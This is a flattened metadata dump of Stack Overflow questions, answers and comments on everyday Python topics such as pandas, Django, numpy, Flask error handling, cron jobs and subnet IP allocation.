has comment: http://stackoverflow.com/comment/81043342
type: Answer
answers question: http://stackoverflow.com/q/47043788
score: 2
has body: if serializer.is_valid(raise_exception=True): serializer.save() new_data = serializer.data return Response(new_data) add serializer.save() will call serializer create method when serializer has no instance.
has comment: http://stackoverflow.com/comment/81044103
accepted answer of: http://stackoverflow.com/q/47043788
upvote count: 2
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/47025037
type: Answer
score: 3
has body: You can use fillna function. # Say df is your dataframe # To fill values forward use: df.fillna(method='ffill') # To fill values backward use: df.fillna(method='bfill')
upvote count: 3
answers question: http://stackoverflow.com/q/47024931
downvote count: 0

http://stackoverflow.com/a/63811710
answers question: http://stackoverflow.com/q/46994144
type: Answer
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46994144
has body: The issue was due to GIT PATH issues. Once, I updated the PATH properly in Windows Environment Variables and restarted CMD, I didn't face this issue. Further info can be found at 'git' is not recognized as an internal or external command

http://stackoverflow.com/q/47037391
score: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/47037630
upvote count: 1
has title: Replace value in dictionary if the new value is a later date
favorite count: 0
has answer: http://stackoverflow.com/a/47038416
type: Question
has answer: http://stackoverflow.com/a/47037516
has answer: http://stackoverflow.com/a/47037693
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/47037630
answer count: 4
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47037516
has body: I want to create a dictionary from a list. I want the value to be replaced if a later date is found. Like this: import datetime values=[['A',datetime.date(2017,1,1)], ['B',datetime.date(2001,2,2)], ['A',datetime.date(2017,10,21)], ['B',datetime.date(2005,6,3)]] d={} for (k,v) in values: if k not in d: d[k]=v else: if d[k]&lt;v: d[k]=v print(d) {'B': datetime.date(2005, 6, 3), 'A': datetime.date(2017, 10, 21)} There must be an easier way with less code. How can i do this more efficient, maybe with dictionary comprehension?

http://stackoverflow.com/comment/81064346
type: Comment
type: AnswerComment
score: 0
has text: Thank you so much, i would like to ask you ? if i write like that ?
comment on: http://stackoverflow.com/a/47058426

http://stackoverflow.com/comment/80801332
has text: Just a small remark to your code, it seems that the `close()` method is out of get_variable_value scope, just like I subconsciously expected: `Calling method 'close' of listener 'listeners.OutputFilesListener.OutputFilesListener' failed: RobotNotRunningError: Cannot access execution context`. But you can move `BuiltIn().get_variable_value` to `end_suite` method and then it works fine.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46917047

http://stackoverflow.com/comment/80848271
has text: You're totally right, seems as I have deceived myself, thanks!
type: Comment
comment on: http://stackoverflow.com/a/46943532
type: AnswerComment
score: 0

http://stackoverflow.com/comment/80997466
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47024899
has text: @dvsn, glad it helps :)
type: Comment

http://stackoverflow.com/q/46996326
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/46996394
accepted answer: http://stackoverflow.com/a/46996355
has title: Slicing the 14th-17th char from each item in a list, then taking an average of the numbers
type: AnsweredQuestion
score: 0
has body: The data portrays information in a string that needs to be turned into a float This is what I have: def avg_temp_march(f): ''' (file) -&gt; float Return the average temperature for the month of March for all years with data in f. avg_temp_march('cryer2') ''' newlist = [] for item in f: item = item[14:17] newlist.append(item) summing = float(sum(newlist)) count = float(len(newlist)) if newlist == []: return False return float(summing/count)
has comment: http://stackoverflow.com/comment/80939190
has answer: http://stackoverflow.com/a/46996355
has answer: http://stackoverflow.com/a/46996394
tagged with: python

http://stackoverflow.com/a/52477455
upvote count: 1
type: Answer
has body: You could try to resample your serie/dataframe in order to convert the offset window to a fixed width window. # Parameters window_timedelta = '7D' resample_timedelta = '1D' # Convert offset to window size window_size = pd.Timedelta(structure_duration) // pd.Timedelta(resample_timedelta) # Resample serie series_res = series.resample(resample_timedelta, on='datetime').first() # Perform the sum on the resampled serie series_res['window_sum'] = series_res.rolling(window_size, center=True, min_periods=1).sum() Note: the first hack in the resampling only works if you know that you have at maximum 1 pt/day. If you have more, you can replace it by sum or whatever is relevant to your data. Note 2: the introduced NaN for missing dates will not cause the sum value to be NaN, Pandas ignores them while summing
score: 1
answers question: http://stackoverflow.com/q/47014765
downvote count: 0

http://stackoverflow.com/a/46972863
has body: import sys class Colors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' def disable(self): self.HEADER = '' self.OKBLUE = '' self.OKGREEN = '' self.WARNING = '' self.FAIL = '' self.ENDC = '' # Prints to terminal print (Colors.FAIL + "This is the sample text..." + Colors.ENDC) # Handles text without color code in file. orig_stdout = sys.stdout f = open('out.txt', 'a') sys.stdout = f with open('out.txt', 'w') as f: print (color.FAIL + "This is the sample text..." + color.ENDC) color = Colors() color.disable() disable will help you get the output in a file without that ugly color codes. I have just created a sample code. You can change and reuse it according to your need.
type: Answer
answers question: http://stackoverflow.com/q/46971566
score: 0

http://stackoverflow.com/comment/94619684
has text: If a pandas dataframe already has types specified, why would H2O need need the types explicitly passed in?
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47023695

http://stackoverflow.com/comment/80919449
score: 0
comment on: http://stackoverflow.com/q/46986173
has text: Oops, you're right.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80946934
type: AnswerComment
has text: oh, it looked that way to me, `glob` would work in that case.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47000077

http://stackoverflow.com/a/47055745
accepted answer of: http://stackoverflow.com/q/47055506
has body: Such cyclic repetitions are elegantly replicated with itertools.cycle: from itertools import cycle, islice x = cycle(range(1,r+1)) next(islice(x, r-1, r-1), None) # advance cycle object to 50 for first entry x2 = list(islice(x, 0, limit)) # slice up to desired limit You could skip the advancement part and just factor it into the final slicing step so slicing starts at r-1 and ends at limit+r-1: from itertools import cycle, islice x = cycle(range(1,r+1)) x2 = list(islice(x, r-1, limit+r-1))
type: AcceptedAnswer
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47055506
score: 1
type: Answer

http://stackoverflow.com/comment/80848120
score: 2
has text: Code aside, lack of a WHOIS record does not necessarily imply that a domain is available. Also, you're going to get blocked by most WHOIS servers very quickly by running a lot of queries.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46950347

http://stackoverflow.com/comment/80985510
type: Comment
score: 0
has text: I have added the full code. The output is `[10, 5, 6]` as I traverse from the top. If you want to get `[6, 5, 10]` as output just return reversing the array as `return self.arr[::-1]`
type: AnswerComment
comment on: http://stackoverflow.com/a/47016529

http://stackoverflow.com/comment/81044792
comment on: http://stackoverflow.com/q/47048846
score: 0
has text: Due to the limitations of excel and csv, when saving, it will not show as a multi-index. It's your job to load it into pandas as a multi index. I'll write an answer.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/47019495
type: UnansweredQuestion
tagged with: python
tagged with: rgb
score: 2
upvote count: 2
downvote count: 0
tagged with: pixel
has body: I need to add together the three values for red, green and blue of a pixel together so that I can be able to find the average value of the pixel colour. However I do not know how to extract the three values since they are not being held in an array. I am loading an image from the computer's memory and analysing each pixel in order to find the amount of pure white pixels in the image, however I wish to convert this into a value between 1 and 0 so that I may create a neural network following this. Is there a way for me to add these three values together? My code is: pix = newimage2.load() print(newimage2.size) print(" ") whitevalues = 0 for x in range(0, newimage2.width): for y in range(0, newimage2.height): if pix[x,y] == (255,255,255): whitevalues = whitevalues + 1 print(whitevalues) Any help would be greatly appreciated!!
has answer: http://stackoverflow.com/a/47211890
answer count: 1
favorite count: 0
has title: How to add the RGB values of an image together
type: Question
tagged with: python-imaging-library

http://stackoverflow.com/a/47003391
has comment: http://stackoverflow.com/comment/80956197
has comment: http://stackoverflow.com/comment/80957335
score: 0
has comment: http://stackoverflow.com/comment/80956063
has comment: http://stackoverflow.com/comment/80957385
answers question: http://stackoverflow.com/q/47003102
type: Answer
has comment: http://stackoverflow.com/comment/80956664
has body: You need to give time for the window to open, and a method for closing it. The usual way of of doing this with openCV is with .waitKey(n). This function will halt the execution of the program for n milliseconds (0 being infinite) or until the user presses a key. So in the first snippet, you just need to add the following line to the end: cv2.waitKey(0) In the second snippet, you need to change the line: k = cv2.waitKey(0) &amp; 0xFF to k = cv2.waitKey(1) &amp; 0xFF so that the loop can continue to run (as the 0 waits for ever).

http://stackoverflow.com/q/47021031
tagged with: parsing
tagged with: http://stackoverflow.com/tag/xml
favorite count: 0
type: Question
has title: Parse XML in python and add it to database
has answer: http://stackoverflow.com/a/47044643
has comment: http://stackoverflow.com/comment/80989747
tagged with: plsql
tagged with: cx-oracle
downvote count: 0
has body: I'm trying to write a Python script that will go through Rows and put them into my database This is a structure of my xml: Root> - - - - MI6 2016-10-28 03:00:12 +03:00 9457A55E17341AA7ASDEDS057A8BFFF3 007 <Emp_name>James Bond</Emp_name> 25 Drinking alcohol 03 Martini with vodka 2017-10-18 2017-10-18 171.0 0.0 Chinees_ P-336 <Perg>0</Persg> <Perk>15</Persk> <Awart/> - ..... </Root> So, when i use this code to Parse XML: ResultSet_Py_List = [] root = ET.parse(events) nodes = root.findall('.//Row') for node in nodes: for child in node: ResultSet_Py_List.append(child.text) The nominal Row value, which I want, is ['MI6', '2016-10-28 03:00:12 +03:00', '9457A55E17341AA7ASDEDS057A8BFFF3', etc] [Row2] [Row3] Now, its like: [Row1,Row2,Row3] [EDIT] All characters is like &#1060. To heal it: tostring(doc.getroot(), 'unicode') [EDIT] I used 2nd example but now i have Oracle error: ORA-01704: string literal too long.
has comment: http://stackoverflow.com/comment/80989346
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80990020
has comment: http://stackoverflow.com/comment/80989580
has answer: http://stackoverflow.com/a/47221987
accepted answer: http://stackoverflow.com/a/47221987
type: AnsweredQuestion
answer count: 3
has answer: http://stackoverflow.com/a/47022708
possible better answer: http://stackoverflow.com/a/47022708
score: 1
linked to: http://stackoverflow.com/q/38147543
has comment: http://stackoverflow.com/comment/80989540

http://stackoverflow.com/q/46971088
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/46971522
answer count: 1
type: Question
tagged with: linux
linked to: http://stackoverflow.com/q/36005607
has body: I run Linux mint 18.2, ./configure is working Ok, but when I do make I get the following: gcc -pthread -c -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -I. -I./Include -DPy_BUILD_CORE -o Programs/python.o ./Programs/python.c In file included from ./Include/pyport.h:6:0, from ./Include/Python.h:50, from ./Programs/python.c:3: /usr/local/include/inttypes.h:38:2: error: #error "Use this header only with Microsoft Visual C++ compilers!" #error "Use this header only with Microsoft Visual C++ compilers!" ^ In file included from /usr/local/include/inttypes.h:48:0, from ./Include/pyport.h:6, from ./Include/Python.h:50, from ./Programs/python.c:3: /usr/local/include/stdint.h:38:2: error: #error "Use this header only with Microsoft Visual C++ compilers!" #error "Use this header only with Microsoft Visual C++ compilers!" ^ In file included from /usr/local/include/inttypes.h:48:0, from ./Include/pyport.h:6, from ./Include/Python.h:50, from ./Programs/python.c:3: /usr/local/include/stdint.h:135:30: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘int64_t’ typedef signed __int64 int64_t; ^ /usr/local/include/stdint.h:136:30: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘uint64_t’ typedef unsigned __int64 uint64_t; ^ /usr/local/include/stdint.h:147:9: error: unknown type name ‘uint64_t’ typedef uint64_t uint_least64_t; ^ /usr/local/include/stdint.h:157:9: error: unknown type name ‘uint64_t’ typedef uint64_t uint_fast64_t; ^ /usr/local/include/stdint.h:164:30: error: conflicting types for ‘intptr_t’ typedef _W64 signed int intptr_t; ^ In file included from ./Include/Python.h:36:0, from ./Programs/python.c:3: /usr/include/unistd.h:270:20: note: previous declaration of ‘intptr_t’ was here typedef __intptr_t intptr_t; ^ In file included from /usr/local/include/inttypes.h:48:0, from ./Include/pyport.h:6, from ./Include/Python.h…
tagged with: python
has title: Failing to install python 3.6.3 from source: recipe for target 'Programs/python.o' failed
linked to: http://stackoverflow.com/q/16910801
accepted answer: http://stackoverflow.com/a/46971522

http://stackoverflow.com/comment/81038402
type: QuestionComment
has text: Please trim your code down to the parts we need to worry about.
comment on: http://stackoverflow.com/q/47045459
score: 0
type: Comment

http://stackoverflow.com/q/46928858
tagged with: django
tagged with: python
has title: NoReverseMatch while using get_absolute_url in Django
score: 0
has answer: http://stackoverflow.com/a/58280618
has answer: http://stackoverflow.com/a/46929004
tagged with: regex
type: Question
answer count: 2
has body: Error Trace: NoReverseMatch at /search/ Reverse for '/about/murder-in-the-curtain' not found. '/about/murder-in-the-curtain' is not a valid view function or pattern name. Request Method: GET Request URL: http://127.0.0.1:8000/search/?q=mur Django Version: 1.11.6 Exception Type: NoReverseMatch Exception Value: Reverse for '/about/murder-in-the-curtain' not found. '/about/murder-in-the-curtain' is not a valid view function or pattern name. URL Conf: url(r'^about/(?P&lt;slug&gt;[-\w]+)$', about_pages, name="about_pages") Model: class Book(models.Model): slug = models.SlugField(default = "") def get_absolute_url(self): reverse("about_pages", kwargs = {"slug" : self.slug}) Template: {% for result in results %} &lt;a href = {% url result.get_absolute_url %}&gt;{{result.name}}&lt;/a&gt; {% endfor %} Is my regex alright? I feel its generating the url correctly but not finding a matching pattern in URLConf to navigate to a view.
type: UnansweredQuestion

http://stackoverflow.com/a/46996392
type: AcceptedAnswer
upvote count: 94
downvote count: 0
has body: Using for _ in itertools.repeat(None, count) do something is the non-obvious way of getting the best of all worlds: tiny constant space requirement, and no new objects created per iteration. Under the covers, the C code for repeat uses a native C integer type (not a Python integer object!) to keep track of the count remaining. For that reason, the count needs to fit in the platform C ssize_t type, which is generally at most 2**31 - 1 on a 32-bit box, and here on a 64-bit box: &gt;&gt;&gt; itertools.repeat(None, 2**63) Traceback (most recent call last): ... OverflowError: Python int too large to convert to C ssize_t &gt;&gt;&gt; itertools.repeat(None, 2**63-1) repeat(None, 9223372036854775807) Which is plenty big for my loops ;-)
has comment: http://stackoverflow.com/comment/80939389
has comment: http://stackoverflow.com/comment/80939339
type: Answer
answers question: http://stackoverflow.com/q/46996315
has comment: http://stackoverflow.com/comment/97853136
accepted answer of: http://stackoverflow.com/q/46996315
score: 94
has comment: http://stackoverflow.com/comment/97853145

http://stackoverflow.com/comment/80894630
type: QuestionComment
has text: I think having 100 threads read from the same file is a bit overkill
type: Comment
comment on: http://stackoverflow.com/q/46973612
score: 0

http://stackoverflow.com/comment/80972075
has text: I know it's an infinite loop and all, but the value of x will still change.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47012817

http://stackoverflow.com/a/47073858
downvote count: 0
answers question: http://stackoverflow.com/q/47061578
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/81260203
has comment: http://stackoverflow.com/comment/81425283
type: Answer
has body: To activate the virtualenv for all processes the following environment variables need to be set. VIRTUAL_ENV=&lt;absolute path of virtual env directory&gt; PATH=&lt;virtual env dir&gt;/bin:$PATH You can set these on boot in the usual places (/etc/profile et al) to make all processes use the virtual env by default.
has comment: http://stackoverflow.com/comment/81391162

http://stackoverflow.com/comment/89151798
comment on: http://stackoverflow.com/q/47018695
has text: you may need to return **con** object also, after cursor.execute you have to do commit by using **con** object, after calling commit function you must put away the connection
type: Comment
type: QuestionComment
score: 0

firefox
type: Tag
tags question: http://stackoverflow.com/q/47047605
tag name: firefox
tags question: http://stackoverflow.com/q/47025394

http://stackoverflow.com/a/47043362
has body: You are basically going Robin Hood there and clipping off the values that are above global average w.r.t. total, until the global sum reaches a threshold. Using that theory, we will start off with a baseline number and then loop through, like so - def clip_until_sum(vec, total): # Get array version a = np.asarray(vec) if a.sum() &lt;= total: return a # Baseline number b = int(total/float(len(a))) # Setup output out = np.where(a &gt; b, b, a) s = out.sum() # Loop to shift up values starting from baseline while s&lt;total: idx = np.flatnonzero(a &gt; out) dss = total - s out[idx[max(0,len(idx)-dss):]] += 1 s = out.sum() return out Sample runs - Set #1 : In [868]: clip_until_sum([1,4,8,3], 10) Out[868]: array([1, 3, 3, 3]) In [869]: clip_until_sum([1,4,8,3], 11) Out[869]: array([1, 3, 4, 3]) In [870]: clip_until_sum([1,4,8,3], 12) Out[870]: array([1, 4, 4, 3]) In [871]: clip_until_sum([1,4,8,3], 13) Out[871]: array([1, 4, 5, 3]) In [872]: clip_until_sum([1,4,8,3], 14) Out[872]: array([1, 4, 6, 3]) In [873]: clip_until_sum([1,4,8,3], 15) Out[873]: array([1, 4, 7, 3]) In [874]: clip_until_sum([1,4,8,3], 16) Out[874]: array([1, 4, 8, 3]) Set #2 : In [875]: clip_until_sum([1,4,8,3,5,6], 12) Out[875]: array([1, 2, 2, 2, 2, 3]) Runtime test and verification - In [164]: np.random.seed(0) # Assuming 10000 elems with max of 1000 and total as half of sum In [165]: vec = np.random.randint(0, 1000, size=10000) In [167]: total = vec.sum()//2 In [168]: np.allclose(clip_to_sum(vec, total), clip_until_sum(vec, total)) Out[168]: True In [169]: %timeit clip_to_sum(vec, total) 1 loop, best of 3: 19.1 s per loop In [170]: %timeit clip_until_sum(vec, total) 100 loops, best of 3: 2.8 ms per loop # @Warren Weckesser's soln In [171]: %timeit limit_sum1(vec, total) 1000 loops, best of 3: 733 µs per loop
has comment: http://stackoverflow.com/comment/81049592
has comment: http://stackoverflow.com/comment/81049079
has comment: http://stackoverflow.com/comment/81049246
answers question: http://stackoverflow.com/q/47042418
has comment: http://stackoverflow.com/comment/81049298
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/81049149
has comment: http://stackoverflow.com/comment/81049054
type: Answer
has comment: http://stackoverflow.com/comment/81050372
downvote count: 0

http://stackoverflow.com/comment/80781190
type: QuestionComment
comment on: http://stackoverflow.com/q/46916683
has text: Like that ? list(set().union(hull1, hull2))
score: 0
type: Comment

http://stackoverflow.com/a/47048084
upvote count: 1
has comment: http://stackoverflow.com/comment/81043552
answers question: http://stackoverflow.com/q/47048027
has body: list(states.items()) It will convert it into list. However, it is not needed as states.items() returns list on tuples. Dictionary states = { 'Orengon': 'OR', 'Florida': 'FL', 'California': 'CA', 'New York': 'NY', 'Michigan': 'MI', } After performing states.items() [('Orengon', 'OR'), ('Michigan', 'MI'), ('New York', 'NY'), ('Florida', 'FL'), ('California', 'CA')] After performing list(states.items()) [('Orengon', 'OR'), ('Michigan', 'MI'), ('New York', 'NY'), ('Florida', 'FL'), ('California', 'CA')]
type: Answer
has comment: http://stackoverflow.com/comment/81043339
has comment: http://stackoverflow.com/comment/81043526
score: 1
downvote count: 0

http://stackoverflow.com/q/46967609
type: Question
tagged with: tf-idf
answer count: 2
tagged with: python
tagged with: sparse-matrix
has answer: http://stackoverflow.com/a/46968742
possible better answer: http://stackoverflow.com/a/46968742
type: AnsweredQuestion
score: 0
has body: I am stuck with the following issue: I have a very large sparse matrix which contains 13M+ nnz elements and a vector which size is approx. 99k+. The thing is when I iteratively multiply and save it in a crs matrix it works but takes 3 hours to complete. Thus I convert the vector into a diagonal matrix so I can directly multiply the two.However I am taking memory error all the time (8 GB ram with 64 bit operating system). Here is my code : GG=list(chain.from_iterable(list(IDFMatrix.data))) dictDocFreqMat=TermFreq.dot(GG) #memory Error for i in range(counter): TermFreqCsr[i,:]=TermFreq[i].multiply(GG) # Takes 3 hours progessbar.update(1) progessbar.close() Any advice about the issue?
tagged with: matrix
has answer: http://stackoverflow.com/a/46980689
accepted answer: http://stackoverflow.com/a/46980689
has comment: http://stackoverflow.com/comment/80883538
has title: Memory Eror : Multiplying two matrix

http://stackoverflow.com/a/46935477
has comment: http://stackoverflow.com/comment/80820409
has comment: http://stackoverflow.com/comment/80819857
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/80818294
has body: The decorator doesn't really modify the arguments. It's just a higher order function that returns a function given a function. You could for instance do this def make_cooler_init(init): def new_function(*args): init(*args) print(args) return new_function Using class TestClass: @make_cooler_init def __init__(self, x, y): self.x = x self.y = y This will only change the function to print the argument after init has been called, it won't change much. To modify behavior for only some instance, you could handle that in your decorator as you can gain access to the arguments and the default function. def make_cooler_init(init): def new_function(*args): if args[1] == 'True': init(*args) else: print(args) return new_function
has comment: http://stackoverflow.com/comment/80820137
answers question: http://stackoverflow.com/q/46935266
upvote count: 1
score: 1

http://stackoverflow.com/q/46997051
type: Question
has comment: http://stackoverflow.com/comment/80941168
score: 0
answer count: 0
type: UnansweredQuestion
has body: I have written code to figure free IP in subnet. Code as as below, Now there is one condition, Once we find the first free IP in subnet, there need to be certain consecutive numbers of IP should be free (buffer IPs) in the same subnet. once condition is satisfied, code should return the first free IP. Given Code is working fine for this, however I am facing problem where I need to search for multiple free IP in Same subnet and respect above condition. In that case, in first iteration I am able to find the free IP and in second iteration I guess we should add the buffer IPs and start the search but not sure how to implement that. Any help will be appreciated. def ip_definer(start, end, cidr, ip_buffer): start_ip = ipaddress.ip_address(start) #DHCP Allocation Pool Start IP end_ip = ipaddress.ip_address(end) #DHCP Allocation Pool End IP net_cidr = ipaddress.IPv4Network(cidr) #Network CIDR used_ports = [] free_ip = [] lap = [] for ip_pool in net_cidr: if (ip_pool &gt;= start_ip) and (ip_pool &lt;= end_ip): ##Makind sure that we iterate withing the DHCP Allocation Pool Start and End IP Range scale_ip = port_crawler(ip_pool, ip_buffer, used_ports, free_ip, lap, end) def port_crawler(ip_pool, ip_buffer, used_ports, free_ip, lap, end): if str(ip_pool) in used_ports: #### Looking for Free IP, Wher 'used_ports' is a list of occupied IPs. print "IP {0} is used".format(ip_pool) else: n = len(free_ip) if n == 0: free_ip.append(ip_pool) ### First Free IP in the Subnet if end == str(ip_pool): ### If we hit the Last IP of subnet. lap.append(free_ip[-1]) ## Store Last IP of the 'Last free IP' found in Previous iteration. if (n &gt; 0) and (n &lt; ip_buffer): ### Checking for IP buffer (addition consecutive free IPs) index = n - 1 if ip_pool == free_ip[index] + 1: free_ip.append(ip_pool) else: del free_ip[0:len(free_ip)] if (len(free_ip) == ip_buffer): ### if length of IP buffer is equal to length to lenght of free_ips, return first Free IP scale_ip = str(free_ip[0]) return scale_ip …
tagged with: openstack-neutron
upvote count: 1
downvote count: 1
favorite count: 0
has title: Python : having trouble finding multiple free ips in subnet
tagged with: network-programming
has comment: http://stackoverflow.com/comment/80940779
tagged with: python

http://stackoverflow.com/comment/80870331
score: 1
has text: Also, wouldn't the python script itself just not work at all from the start if that error was coming up?
type: Comment
comment on: http://stackoverflow.com/a/46961440
type: AnswerComment

http://stackoverflow.com/q/47002956
tagged with: shell
tagged with: macos
favorite count: 0
type: Question
tagged with: cron
type: UnansweredQuestion
has title: cronjob error in OSX: "no path for address"
upvote count: 13
tagged with: python
score: 11
has body: I tried running a Python script using cronjob but I get the following error: cron[44405]: no path for address 0x10ff7a000 in grep cron /var/log/system.log When I ran the script without using cronjob it worked: /usr/bin/python /Users/anuj/Desktop/message.py I tried adding the cron job using $sudo crontab. This is the CRON script: */1 11-17 * * 1-7 /usr/bin/python /Users/anuj/Desktop/message.py Both paths are correct for root mode and user mode as I am running cron with sudo.
downvote count: 2
has comment: http://stackoverflow.com/comment/81633257
has answer: http://stackoverflow.com/a/75528084
answer count: 1

http://stackoverflow.com/comment/81019141
comment on: http://stackoverflow.com/q/47036355
has text: Hint: `string.replace('\\', '')`
type: QuestionComment
score: 3
type: Comment

http://stackoverflow.com/q/46990022
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80927492
has comment: http://stackoverflow.com/comment/80927483
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/80927364
has body: I'm working on a project that involves having to work with preprocessed data in the following form. Data explanation has been given above too. The goal is to predict whether a written digit matches the audio of said digit or not. First I transform the spoken arrays of form (N,13) to the means over the time axis as such: This creates a consistent length of (1,13) for every array within spoken. In order to test this in a simple vanilla algorithm I zip the two arrays together such that we create an array of the form (45000, 2), when I insert this into the fit function of the LogisticRegression class it throws me the following error: What am I doing wrong? Code: import numpy as np from sklearn.linear_model import LogisticRegression match = np.load("/srv/digits/match_train.npy") spoken = np.load("/srv/digits/spoken_train.npy") written = np.load("/srv/digits/written_train.npy") print(match.shape, spoken.shape, written.shape) print(spoken[0].shape, spoken[1].shape) def features(signal, function): new = np.copy(signal) for i in range(len(signal)): new[i] = function(new[i], axis=0) return new spokenMean = features(spoken, np.mean) print(spokenMean.shape, spokenMean[0]) result = np.array(list(zip(spokenMean,written))) print(result.shape) X_train, X_val, y_train, y_val = train_test_split(result, match, test_size = 0.33, random_state = 123) model = LogisticRegression() print(X_train.shape, y_train.shape) model.fit(X_train, y_train) yh_val = model.predict(X_val)
answer count: 1
has comment: http://stackoverflow.com/comment/80927377
tagged with: machine-learning
has comment: http://stackoverflow.com/comment/80927344
has answer: http://stackoverflow.com/a/47043051
accepted answer: http://stackoverflow.com/a/47043051
favorite count: 0
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/80927231
linked to: http://stackoverflow.com/q/19459017
has comment: http://stackoverflow.com/comment/80927625
has comment: http://stackoverflow.com/comment/80927385
tagged with: arrays
has title: "Setting an array element with a sequence" numpy error
has comment: http://stackoverflow.com/comment/80927683
tagged with: python
tagged with: data-science
has comment: http://stackoverflow.com/comment/80927460

http://stackoverflow.com/comment/80878355
score: 0
type: QuestionComment
type: Comment
has text: Can you update the question to match the current state of the problem? (Also use the backtick ` to make code in comments (it's below the ~ on US keyboards)).
comment on: http://stackoverflow.com/q/46965024

http://stackoverflow.com/a/47016412
type: Answer
answers question: http://stackoverflow.com/q/47014396
downvote count: 0
upvote count: 1
score: 1
has body: You can use filter: redList = ['text1', 'text2'] totalList = ([{'score': 1, 'item': ['text1', 'text2']}, {'score': 2, 'item': ['text3', 'text4']}, {'score': 3, 'item': ['text5', 'text6']}]) if list(filter(lambda x:x["item"] == redList, totalList)): print('redList in totalList')

http://stackoverflow.com/comment/81120460
type: AnswerComment
type: Comment
has text: I edited the code so the database should be flushed after every scenario now.
score: 0
comment on: http://stackoverflow.com/a/47084158

mechanicalsoup
tag name: mechanicalsoup
tags question: http://stackoverflow.com/q/46942778
type: Tag

http://stackoverflow.com/a/47058426
has comment: http://stackoverflow.com/comment/81064346
upvote count: 2
has comment: http://stackoverflow.com/comment/81273550
downvote count: 0
has comment: http://stackoverflow.com/comment/81228380
has comment: http://stackoverflow.com/comment/81228370
score: 2
answers question: http://stackoverflow.com/q/47055970
has comment: http://stackoverflow.com/comment/81064590
has body: You should use "bounds" parameter in minimizer_kwargs which is passing to scipy.optimize.minimize(). Here is an example: bnds = ((1, 100), (1, 100), (1,100))# your bounds def rmse(X):# your function a,b,c = X[0],X[1],X[2] return a**2+b**2+c**2 x0 = [10., 10., 10.] minimizer_kwargs = { "method": "L-BFGS-B","bounds":bnds } ret = basinhopping(rmse, x0, minimizer_kwargs=minimizer_kwargs,niter=10) print("global minimum: a = %.4f, b = %.4f c = %.4f | f(x0) = %.4f" % (ret.x[0], ret.x[1], ret.x[2], ret.fun)) The result is global minimum: a = 1.0000, b = 1.0000 c = 1.0000 | f(x0) = 3.0000 Without boundaries it is (clear) 0,0,0
type: Answer
has comment: http://stackoverflow.com/comment/81064415

http://stackoverflow.com/q/46998094
tagged with: function
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46998208
tagged with: python
has title: Python - Can I Instert A String Into The Open Function, Somehow...?
score: 0
has body: So, I've got this string string="name random or not" (it's easy to add a ".txt" ending in this) and I want to create a file with this name to use it as an output. But when I write this: output = open( '%s' , 'w' % (string) ) or this: output = open( '%s' , 'w' % (string) ) I get "invalid syntax" and "not all arguments converted during string formatting" errors respectively. Is there a way this could work?
has comment: http://stackoverflow.com/comment/80942833
has answer: http://stackoverflow.com/a/46998131
type: Question
answer count: 2

http://stackoverflow.com/comment/81051362
comment on: http://stackoverflow.com/q/47051351
score: 0
type: Comment
has text: I'm intrigued, why would a topic be finished with? Unless the service itself is being destroyed? AFAIK you can't manage topics from the Python client, you'd use the Kafka admin client instead. Typically topics are created/deleted as an admin/ops function, not as part of an application and client library.
type: QuestionComment

http://stackoverflow.com/q/46945913
tagged with: python
tagged with: flask
has body: So I have a bunch of error handlers in my flask app and I am NOT using blueprints because of Blueprint 404 errorhandler doesn't activate under blueprint's url prefix What i have noticed is that 404 will render my custom template but 403 will not. And I am trying to understand 403 errors in my app because during my debugging I get quite a lot of 403 which I am clueless on why. With that said I am trying to capture and understand 403 errors with the following: (using flask and flask-login + the route for login works without any errors but the others return the JSON listed bellow...) @app.route('/login') def login(): login @app.errorhandler(401) def authenticate_user(error): return redirect(login), 401 @app.errorhandler(403) def forbidden(error): return render_template('errors/403.html'), 403 @app.errorhandler(404) def page_not_found(error): return render_template('errors/404.html'), 404 @app.errorhandler(500) def internal_error(error): return render_template('errors/500.html'), 500 Thoughts? This probably doesn't help but the response I usually get on 403 is the JSON of my auth {"auth": {"authenticated": true, "user": "*******", "roles": "Admin"}}
has comment: http://stackoverflow.com/comment/80839069
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/80839513
tagged with: flask-login
answer count: 0
downvote count: 0
has title: Flask Error Handler Raised for 404 but not 403
linked to: http://stackoverflow.com/q/28137451
favorite count: 0
type: Question
type: UnansweredQuestion

http://stackoverflow.com/comment/80882611
type: AnswerComment
comment on: http://stackoverflow.com/a/46967572
has text: Where's the source code? I don't have any familiarity with the library you're using and your post doesn't contain any links.
score: 0
type: Comment

http://stackoverflow.com/q/46953448
answer count: 1
downvote count: 0
tagged with: scipy
favorite count: 0
type: Question
tagged with: numpy
score: 5
has comment: http://stackoverflow.com/comment/80992690
